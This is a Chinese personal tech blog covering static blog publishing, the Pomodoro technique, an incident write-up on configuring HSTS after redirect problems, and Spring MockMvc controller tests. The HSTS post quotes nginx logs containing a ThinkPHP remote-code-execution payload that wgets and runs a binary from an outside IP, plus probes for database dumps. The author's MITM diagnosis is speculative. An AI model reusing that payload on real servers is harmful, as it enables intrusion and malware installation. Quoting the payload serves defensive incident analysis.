因此我没有考虑去用一些更加笨重的博客系统,加上一大堆文章管理、分类管理、评论管理,每次发文都会很麻烦。

我现在本地改完文章后提交变更,博客服务器设置了一个定时任务,每天执行一次git pull将变更发布出来。相比从前,我如今能够持续性的交付一些文章,比如每周的ARTS训练营。

番茄工作法实践

实践番茄工作法不是心血来潮,而是读完番茄工作法图解这本书之后意识到:有效利用番茄工作能够为我带来很多好处。

先说下我现在遇到问题:

首先是任务太多、太杂,往往一天下来很忙碌,回忆起来又不知道做了些什么;

其次,手上的任务堆了很多,大多已经开始做但没有完成。

这两个问题对于我的工作效率、学习效率都有很大的负面影响,工作任务开始延期,学习也无法有效转换为自己的知识。

优先级排列任务

什么是番茄工作法?简单说,就是列出你当天要做的事,设置 25 分钟闹钟,然后从第一件事开始。

对的,番茄工作法就是这么简单。但是手上的事情那么多,怎么分清主次呢?我的做法是按照每件事的紧急程度排列优先级。

当然总有些时候事情一样紧急,这时候就可以按照交付时间来排序,或者交付时间也一样呢?这种尴尬的情形实际上也很常见,那么我会按照难易程度还有个人喜欢程度来决定先做哪件。

专注是稀缺品

番茄工作法最吸引我的地方在于“专注”。之所以出现杂乱的现象是因为东做一点西做一点,既做不好也做不完。

保质保量完成任务的秘诀是什么呢?我认为是专注。

重点不在完成工作上,而在于能否集中注意力!

实践番茄工作法的最终目的是为了能够培养专注,让大脑进入一个规律的模式之中。理想情况下在一个番茄钟里我会只做这一件事情,心无旁骛。

该休息时好好休息

人长时间专注做一件事会感到劳累,除非你特别厉害,能进入“心流”的状态——但即便如此,大脑集中思考时总是更消耗能量,就好像一台发热到让风扇嗡嗡作响的电脑。

来自:《万万没想到》,万维刚

专注这件事原本就不容易,因为这是一件很消耗脑力的事。所以每个番茄钟之间有5分钟的休息时间,一般4个番茄钟还会有一段长休息。利用这段时间放空自己,看看风景,喝点茶,尽量不要想一些杂七杂八的事。

我还得到了什么

我不能算非常成功的应用番茄钟,但我确实感受到手中的事情在有条不紊的进行中。另外,使用番茄钟的好处还在于,我能统计到每个任务专注了多久,可能比我原先所预估的时间要更久。

有了番茄钟的任务统计之后,对于手上的事情实际上有了更好的估计。

使用HSTS防范中间人攻击

背景介绍

之前在自己的服务器上架设了博客并发布到了公网,考虑到安全性还特意加了HTTPS支持。稳定运行一段时间之后前两个星期忽然就无法访问了,以下是我的破案纪实。

案发现场:博客无法访问

之前搭建的博客突然不能访问了,浏览器提示重定向次数过多,我就有了不好的预感,去服务器上看扫了一眼nginx访问日志,果然发现了一点猫腻。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
41.230.21.146 - - [26/Jul/2020:04:06:50 +0800] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.x86 -O thinkphp ; chmod 777 thinkphp ; ./thinkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 157 "-" "Uirusu/2.0"
93.171.157.190 - - [26/Jul/2020:04:28:29 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
162.243.128.166 - - [26/Jul/2020:05:10:37 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x"
177.96.170.216 - - [26/Jul/2020:05:21:32 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
35.220.228.17 - - [26/Jul/2020:05:33:38 +0800] "POST /spywall/timeConfig.php HTTP/1.1" 400 157 "-" "XTC"
46.105.117.7 - - [26/Jul/2020:05:36:30 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x"
141.101.105.202 - - [26/Jul/2020:05:36:30 +0800] "GET / HTTP/1.1" 301 169 "http://95.179.179.26:80/" "Mozilla/5.0 zgrab/0.x"
141.101.105.202 - - [26/Jul/2020:05:36:30 +0800] "GET / HTTP/1.1" 301 169 "https://zhiyulife.pp.ua/" "Mozilla/5.0 zgrab/0.x"
151.235.230.43 - - [26/Jul/2020:05:45:03 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
46.105.117.7 - - [26/Jul/2020:05:49:05 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/5.0 zgrab/0.x"
172.69.54.103 - - [26/Jul/2020:05:49:05 +0800] "GET / HTTP/1.1" 301 169 "https://95.179.179.26:443/" "Mozilla/5.0 zgrab/0.x"
172.69.54.103 - - [26/Jul/2020:05:49:05 +0800] "GET / HTTP/1.1" 301 169 "https://zhiyulife.pp.ua/" "Mozilla/5.0 zgrab/0.x"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /manager/top.asp HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /index.php/_login/in HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /11.txt HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /db/admin_yly.sql HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET / HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /cgi-bin HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
139.205.177.98 - - [26/Jul/2020:05:56:58 +0800] "GET /js/preload/example.txt HTTP/1.1" 301 169 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
172.69.33.237 - - [26/Jul/2020:05:57:09 +0800] "GET /db/admin_yly.sql HTTP/1.1" 301 169 "http://95.179.179.26/db/admin_yly.sql" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
172.69.34.226 - - [26/Jul/2020:05:57:09 +0800] "GET /index.php/_login/in HTTP/1.1" 301 169 "http://95.179.179.26/index.php/_login/in" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
172.69.35.69 - - [26/Jul/2020:05:57:09 +0800] "GET / HTTP/1.1" 301 169 "http://95.179.179.26/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
172.69.33.185 - - [26/Jul/2020:05:57:09 +0800] "GET /js/preload/example.txt HTTP/1.1" 301 169 "http://95.179.179.26/js/preload/example.txt" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"
172.69.33.43 - - [26/Jul/2020:05:57:09 +0800] "GET /11.txt HTTP/1.1" 301 169 "http://95.179.179.26/11.txt" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; KB974488)"

第一条日志就发现问题了,我的博客是个静态页面网站,跟PHP完全没有关系,而且URL后面跟的那一堆明显是攻击的函数。

1
invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.95.168.230/taevimncorufglbzhwxqpdkjs/Meth.x86 -O thinkphp ; chmod 777 thinkphp ; ./thinkphp ThinkPHP ; rm -rf thinkphp'

再看后面的日志,都是访问一些不知所云的页面,并且都是301重定向,因此我估计在重定向HTTPS的时候出现了问题。

追根溯源,锁定凶手

中间人攻击(英语:Man-in-the-middle attack,缩写:MITM)在密码学和计算机安全领域中是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容。在许多情况下这是很简单的(例如,在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络)。
一个中间人攻击能成功的前提条件是攻击者能将自己伪装成每一个参与会话的终端,并且不被其他终端识破。中间人攻击是一个(缺乏)相互认证的攻击。大多数的加密协议都专门加入了一些特殊的认证方法以阻止中间人攻击。例如,SSL协议可以验证参与通讯的一方或双方使用的证书是否是由权威的受信任的数字证书认证机构颁发,并且能执行双向身份认证。
来自:维基百科:中间人攻击

中间人攻击是比较常见的网络攻击手段,如果通讯双方缺少有效的认证手段就有可能导致中间人攻击。

一般来说如果网站配置了HTTPS,双方通讯就都是可靠加密了。不过用户习惯很难直接改变,包括我也一样,不会特意去敲上一段https://,因此网站一般都会通过重定向HTTP到HTTPS来保证使用HTTPS。

从可见的日志推断,我认为自己的网站最有可能遭受了中间人攻击。

御敌于外:配置HSTS

基本确定了凶手之后,就可以查询解决方案。一番查找之后,发现针对中间人攻击,目前主要的方案是采用HSTS

HSTS(HTTP Strict Transport Security, HTTP严格传输安全协议)表明网站已经实现了TLS,要求浏览器对用户明文访问的Url重写成HTTPS,避免了始终强制302重定向的延时开销。
来自:电商网站HTTPS实践之路(三)——性能优化篇

HSTS基本语法

落实到具体实现中,就是在响应中增加Strict-Transport-Security头部,其基本语法如下:

Strict-Transport-Security: max-age=expireTime [; includeSubDomains] [; preload]

参数 可选 说明
max-age 必选 单位为秒,代表HSTS Header的过期时间,一般设置为1年,即 31536000秒。
includeSubDomains 可选 如果开启说明当前域名及子域名开启HSTS保护
preload 可选 只有当你申请将自己的域名加入到浏览器内置列表的时候才需要使用到它

Nginx配置HSTS

对于Nginx来说,只要增加以下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
server {
listen xxx.abc.com;
server_name xxx.abc.com;
rewrite ^/(.*)$ https://$host$1 permanent;
}
server {
listen 443 ssl;
server_name xxx.abc.com;
# 增加头部信息
add_header Strict-Transport-Security "max-age=172800; includeSubDomains";
ssl_certificate cert/server.crt;
ssl_certificate_key cert/server.key;

ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;

ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;

location / {
proxy_pass http://localhost:3001;
}
}

预加载HSTS

不过从HSTS的原理来说即使配置了HSTS依然有被攻击的可能,浏览器第一次或者超期后访问网站时还是要再次请求HTTP。想要解决这个问题最好让浏览器在一开始就知道目标网站使用HTTPS,那么每次访问这个网站将都使用HTTPS进行请求。

预加载HSTS就是实现这个功能。Chrome、Firefox等浏览器内置了一份预加载列表,声明了需要使用HTTPS访问的网址,这样的话每次请求时浏览器内部就自动为其转换为HTTPS。

自建的网站可以申请加入预加载HSTS列表中,官方网址为:https://hstspreload.org

在这里插入图片描述

需要满足以下几个要求:

Submission Requirements
If a site sends the preload directive in an HSTS header, it is considered to be requesting inclusion in the preload list and may be submitted via the form on this site.
In order to be accepted to the HSTS preload list through this form, your site must satisfy the following set of requirements:

  1. Serve a valid certificate.
  2. Redirect from HTTP to HTTPS on the same host, if you are listening on port 80.
  3. Serve all subdomains over HTTPS.
    - In particular, you must support HTTPS for the www subdomain if a DNS record for that subdomain exists.
  4. Serve an HSTS header on the base domain for HTTPS requests:
    - The max-age must be at least 31536000 seconds (1 year).
    - The includeSubDomains directive must be specified.
    - The preload directive must be specified.
    - If you are serving an additional redirect from your HTTPS site, that redirect must still have the HSTS header (rather than the page it redirects to).
  1. 有可信的证书
  2. 如果网页有监听80端口,需要重定向到HTTPS
  3. 所有子域名都要使用HTTPS
  4. 添加HSTS响应头,
    • max-age 必须至少是 31536000 秒(1 年)。
    • 必须指定 includeSubDomains 参数。
    • 必须指定 preload 参数。
    • 如果该 HTTPS 网站存在其他重定向,那么重定向也必须具有 HSTS 头。

总结与疑问

其实除了那么多重定向的日志之外,我还在日志中发现了爬虫的痕迹。

以往我所开发的服务都是运行在内网中,就像还在象牙塔中的学生一样,高高筑起的围墙虽然限制了很多自由,但在很多情况下又是对我们的保护。只是将博客部署到公网的服务器上,险恶的现实就露出了自己的獠牙。

当然面对层出不穷的问题,退缩回象牙塔内并不能有所助益。因为网络的开放性注定了攻击者永远存在,因此熟悉并了解攻击者的手段,知难而上解决问题才能继续生存下去。

当然故事还远没有结束,我还是有许多疑问:

  1. 中间人到底在哪里?是暗藏在我的电脑中?还是暗藏在我的服务器中?
  2. 为什么会不断重定向?

参考资料

  1. 对301重定向到HTTPS前遭遇中间人攻击的分析
  2. 从 GitHub 受到中间人攻击一事再看 HSTS

编写Controller层测试

spring-test构建Java测试体系(1)

对于使用Spring MVC构建的Java Web应用,Controller是属于最前面一层的,本文将介绍如何针对Controller编写单元测试。

1. Maven依赖信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.1.1.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>

<dependencies>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- test -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- test end -->

</dependencies>

2. 定义一个REST接口

定义一个实体类Demo

1
2
3
4
public class Demo {
private String name;
// setter, getter...
}

新建一个Controller类,定义一个查询方法。
URL为GET demos,调用成功后将返回一个json数组,http返回码为200 OK。

1
2
3
4
5
6
7
8
9
@Controller
@RequestMapping("demos")
public class DemoController {

@GetMapping
public ResponseEntity<List> searchDemo() {
return new ResponseEntity<>(new ArrayList<Demo>(), HttpStatus.OK);
}
}

3. 编写测试用例

对于单元测试来说只需要关注Controller层,而不需要加载整个Spring上下文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 告诉junit使用MockitoJUnitRunner来运行测试用例
// 这样就可以使用@Mock和@InjectMocks注解
@RunWith(MockitoJUnitRunner.class)
public class MockDemoControllerTest {

private MockMvc mockMvc;

@InjectMocks
private DemoController demoController; // 创建demoController

@Before
public void setUp() throws Exception {
// 构造mockMvc,指定需要测试的Controller对象
mockMvc = MockMvcBuilders.standaloneSetup(demoController).build();
}

@Test
public void should_get_demos() throws Exception {
// 调用此接口并断言返回 200 OK
mockMvc.perform(get("/demos")).andDo(print())
.andExpect(status().isOk());
}

}

4. 总结

在本篇小文中介绍了如何针对Spring Boot编写的REST接口进行测试,用到了spring-tes提供的MockMvc实现对HTTP请求的模拟。除此之外,测试中还利用MockMvc提供的验证工具对结果进行断言。

本文只能算是一个开头,示例项目中并没有调用任何业务逻辑,我将在下一篇中讲述如何mock依赖关系。

SpringBoot基础之MockMvc单元测试